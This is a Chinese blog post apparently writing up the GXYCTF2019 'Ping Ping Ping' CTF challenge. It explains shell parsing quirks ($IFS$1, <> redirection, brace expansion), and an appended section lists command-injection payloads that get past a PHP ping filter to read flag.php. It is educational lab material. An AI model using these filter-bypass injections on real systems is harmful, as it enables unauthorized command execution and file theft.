[GXYCTF2019]Ping Ping Ping

本文详细解释了在Unix/Linux系统中,IFS变量如何影响空格绕过,并揭示了$1作为分隔符的特殊用法。同时介绍了花括号展开在命令执行中的作用,如{cat,flag.php}

[GXYCTF2019]Ping Ping Ping

这一题学到了一些新知识固做此篇以记之

废话不多说,题解什么的通过其他的博客就能知道。

$IFS$1

在看到空格绕过中有个 $IFS$1 来绕过,我就觉得奇怪了❓众所周知$IFSUnix系统的一个预设变量表示分隔符Input Field Separators在这题中本身就可以表示空格了吧,那么这个$1又是干什么的呢?众所周知$1也是预设变量之一,代表接收的第一个参数。

经过在Ubuntu VM上实验,原因其实非常简单。

首先我们创建2个文件来方便观察

第一个是1.txt

This is test1!

第二个是2.txt

This is test2!

进入终端看看吧

highway@ubuntu:~/Desktop$ cat 1.txt 2.txt
This is test1!
This is test2!

用刚刚绕过的方法来看看先看看单个的吧

highway@ubuntu:~/Desktop$ cat$IFS$11.txt
This is test1!

显示出来了,再看看

highway@ubuntu:~/Desktop$ cat$IFS$21.txt
This is test1!
highway@ubuntu:~/Desktop$ cat$IFS$31.txt
This is test1!
highway@ubuntu:~/Desktop$ cat$IFS$a1.txt
cat: .txt: No such file or directory

我觉得你应该明白怎么回事了吧?通过第三个例子 $a1 被解释成一个变量了,而真正被cat的反而变成了 .txt

我们创建一个 .txt 验证一下这个猜想吧

highway@ubuntu:~/Desktop$ vim ".txt"
highway@ubuntu:~/Desktop$ cat$IFS$a1.txt
This is .txt!

猜想完全正确。而预设变量 $1~9 是因为可以被shell识别

highway@ubuntu:~/Desktop$ echo "\$1 is $1,\$2 is $2,\$a1 is $a1" 
$1 is ,$2 is ,$a1 is

可以看到因为我们并没有传入任何参数所以这些变量echo出来就是什么都没有,也就是空字符串。到这里其实就非常清楚了 $IFS$1 中的$1只是为了不让后面的文件名被shell识别成变量名例如前面的$a1

highway@ubuntu:~/Desktop$ cat$IFS1.txt 2.txt
cat.txt: command not found
highway@ubuntu:~/Desktop$ cat$IFS$11.txt$IFS$22.txt
This is test1!
This is test2!

可以看到不加$1甚至连第二个文件名和中间的空格都会被shell认为是变量名,而且我们不止可以用$1来分隔

highway@ubuntu:~/Desktop$ cat$IFS$21.txt
This is test1!
highway@ubuntu:~/Desktop$ cat$IFS$31.txt
This is test1!
highway@ubuntu:~/Desktop$ cat$IFS$61.txt
This is test1!

只要是$1~9就可以

${IFS}

这个绕过其实非常简单易懂了,就是一个Shell Parameter Expansion

<>

这个其实是元符号Opening File Descriptors for Reading and Writing

The redirection operator

[n]<>word

causes the file whose name is the expansion of word to be opened for both reading and writing on file descriptor n, or on file descriptor 0 if n is not specified. If the file does not exist, it is created.

这也解释了为什么我的实验ls<>-l的时候会创建一个名字为-l且无任何内容的文件

highway@ubuntu:~/Desktop/testfloder$ ls -l
total 4
-rw-rw-r-- 1 highway highway 18 Jul 13 18:05 testfile.txt

highway@ubuntu:~/Desktop/testfloder$ ls<>-l
-l  testfile.txt

highway@ubuntu:~/Desktop/testfloder$ cat<>-l
highway@ubuntu:~/Desktop/testfloder$ cat<>testfile.txt
This is test File

我在StackOverflow上提了这个问题非常感谢他们的回答How dose SHELL paresd ls<>-l

{cat,flag.php}

这里很多网上的解释是逗号代替了空格,其实我觉得这个说法有问题。经过我一天查阅资料提问和研究,其中在我的提问中Why the {cat,filename} Group command with braces in Linux shell can work?我采用的答案里解释的非常明白

When {cat,ls} expands, it does so to two words, cat and ls, which is then recognized as a command cat and its argument ls.

这是一个花括号展开(brace expansions)根据shell解析顺序Simple Command Expansion

  1. 是否存在变量名能够进行解析
  2. 如果不存在变量名,将会进行各种展开,上述的花括号展开便是其中一种。展开完后第一个word会被当成command随后的word会被解析成command的参数

那么这很明显,当我输入{cat,flag.php} 后因为不存在预先设置的变量名叫cat所以shell 会进行花括号展开 。很明显第一个wordcat 。然后在花括号展开中由,分割,那么第二个word flag.php 就被shell解释成了cat的参数。很自然的catflag.php

解释完之后可以看出在花括号展开中,其实根本不需要用到空格 ,何来代替一说呢?

### BUUCTF GXYCTF2019 Ping Ping Ping Writeup 解题思路 该题目属于命令执行绕过类题目,主要考察选手对于PHP代码中的输入验证机制以及Linux命令执行的理解。以下是详细的解题分析: #### 题目背景 通过提供的代码片段可以看出,程序接收用户提交的`ip`参数,并将其作为`shell_exec()`函数的一部分来调用`ping`命令[^4]。然而,在实际运行过程中,存在多层正则表达式过滤逻辑,用于防止恶意字符注入和敏感关键字(如`flag`)的出现。 #### 绕过方法解析 ##### 方法一:利用`${IFS}`替代空格 由于题目明确指出对空白字符进行了严格过滤,因此无法直接使用空格分隔命令参数。可以通过引入环境变量`${IFS}`(Internal Field Separator),它默认表示为空白符,从而完成命令拼接[^3]: ```bash /?ip=cat${IFS}/flag.php ``` ##### 方法二:内联执行与反引号组合 除了替换空格外,还可以借助Shell内置功能——内联执行(Backticks)。这种方式允许在一个命令内部嵌套另一个子命令的结果作为其一部分参与运算[^1]: ```bash /?ip=`cat flag.php` ``` ##### 方法三:变量拆分重组 当某些特定单词被整体屏蔽时(例如这里的“flag”),可以考虑将目标字符串分割成多个部分分别赋值给不同变量名,最后再动态组装起来形成最终路径[^2]: ```php /?ip=127.0.0.1;b=ag;a=fl;cat$IFS$a$b.php ``` 以上三种方案均能有效规避现有检测规则限制的同时达成预期效果即读取服务器上的文件内容。 #### 实际操作演示 假设我们已经找到了合适的payload,则可以直接访问对应URL地址获取FLAG信息。例如采用第二种方法的话请求形式如下所示: ```http GET /?ip=`cat%20flag.php` HTTP/1.1 Host: target-server.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` 如果一切正常,响应数据中应该会包含我们需要的目标文件具体内容。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值